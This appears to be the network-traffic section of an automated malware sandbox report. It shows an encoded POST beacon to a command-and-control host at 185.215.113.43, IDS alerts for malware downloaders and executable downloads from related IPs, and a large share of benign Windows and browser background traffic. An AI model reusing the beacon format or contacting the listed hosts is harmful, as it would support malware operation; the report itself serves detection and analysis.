Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49765 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49920 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50123 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50127 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50129 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50131 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50137 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50139 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50140 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50142 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50143 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50145 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50146 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50154 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50153 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50158 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50156 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50178 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50181 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50191 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50163 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50197 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50195 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50198 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50324 -> 20.189.173.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:61345 -> 51.116.253.170:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5seAewdXZuwZolF&MD=19Dvc46m HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732691358&P2=404&P3=2&P4=K8FOKcSexj%2bWdb3FdbGhTGSatSq%2b0gLv%2bqm4ZXLMu%2bSImbWXTXLkMzvDqQqbzwymiv%2bCqmCMXCMeHjy4IXpAaQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: alzdVc3uOOe0GkXF05tq+0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732086561810&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
